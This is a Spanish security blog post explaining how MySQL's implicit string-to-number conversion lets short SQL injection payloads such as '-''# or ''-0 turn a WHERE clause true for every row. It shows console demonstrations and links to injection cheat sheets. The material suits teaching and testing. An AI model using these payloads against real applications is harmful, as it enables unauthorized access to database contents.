Pages

Herramientas online

jueves, 31 de enero de 2013

Abusando de la conversión de tipos para pequeñas inyecciones en MySQL

Leyendo el blog de Koto (Krzysztof Kotowicz) encontré un pequeño truco que puede ayudarnos a explotar inyecciones SQL en bases de datos MySQL. Primero vamos a ver el comportamiento del RBDMS:

mysql> desc t;
+-------+-------------+------+-----+---------+-------+
| Field | Type        | Null | Key | Default | Extra |
+-------+-------------+------+-----+---------+-------+
| name  | varchar(20) | YES  |     | NULL    |       |
| num   | int(11)     | YES  |     | NULL    |       |
+-------+-------------+------+-----+---------+-------+
2 rows in set (0.11 sec)
mysql> select * from t;
+--------+------+
| name   | num  |
+--------+------+
| nazwa  |    3 |
| second |    4 |
+--------+------+
2 rows in set (0.00 sec)
mysql> select * from t where name='';
Empty set (0.00 sec)
mysql> select * from t where name=''-'';
+--------+------+
| name   | num  |
+--------+------+
| nazwa  |    3 |
| second |    4 |
+--------+------+
2 rows in set, 2 warnings (0.00 sec)


¿Qué es lo que ha pasado? Vamos a investigar un poco:


mysql> show warnings;
+---------+------+--------------------------------------------+
| Level   | Code | Message                                    |
+---------+------+--------------------------------------------+
| Warning | 1292 | Truncated incorrect DOUBLE value: 'nazwa'  |
| Warning | 1292 | Truncated incorrect DOUBLE value: 'second' |
+---------+------+--------------------------------------------+
2 rows in set (0.00 sec)


El operador menos "-" utilizado en el string la convierte a DOUBLE, un valor numérico. ¿Cual es el resultado de esta sentencia?:

mysql> select ''-'';
+-------+
| ''-'' |
+-------+
|     0 |
+-------+


Para cada registro la columna 'name' es comparada a 0, lo cual provoca otro tipo de conversión y, con un warning, el valor de cada uno de ellos es efectivamente 0, lo cual satisface la condición WHERE (0 = ''-'').

Ahora, ¿cómo podemos abusar de esta peculiaridad? Imagina que tienes un juego de caracteres limitado (por ejemplo, sin espacios en blanco, sin signo de igualdad, sin paréntesis, sin letras) o la longitud disponible es muy limitada. La query vulnerable es SELECT secret FROM table WHERE secret='$injection' AND another>5 AND ... y necesita devolver al menos algún valor, pero no conoces ninguno en la columna secret (la cual no es fácilmente enumerable). Un payload tan simple como '-''# convertirá la query a:

SELECT secret FROM table WHERE fld=''-''# AND .....

y devolverá todos los registros (a parte de los que coincidan con /^-?[0-9]/).

Además puedes usar el mismo truco con ''+'', ''&'',''^'' y ''*''. Ten en cuenta:

mysql> select 1 from dual where 'something' = ''/'';
Empty set, 1 warning (0.00 sec)

mysql> select 1 from dual where 'something' = ''/1;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set, 1 warning (0.00 sec)


Otro truco sería comparar simplemente una columna de cadena con ''-0:

mysql> select * from t where name=''-0;
+--------+------+
| name   | num  |
+--------+------+
| nazwa  |    3 |
| second |    4 |
+--------+------+
2 rows in set, 2 warnings (0.00 sec)


Todas estas sentencias SQL fueron probadas en MySQL 5.5 y 5.1, aunque debería funcionar en versiones anteriores también.

Y eso es todo amigos. Para más técnicas de inyección SQL te recomiendo la referencia de inyecciones SQL de Roberto Salgado. Me ayudó en numerosas ocasiones y es en mi opinión es una las mejores sobre SQLi que se han hecho nunca.




Referencias

http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
http://websec.ca/kb/sql_injection
http://www.hackplayers.com/2013/01/truco-typecasting-sqli-mysql.html#more

No hay comentarios:

Publicar un comentario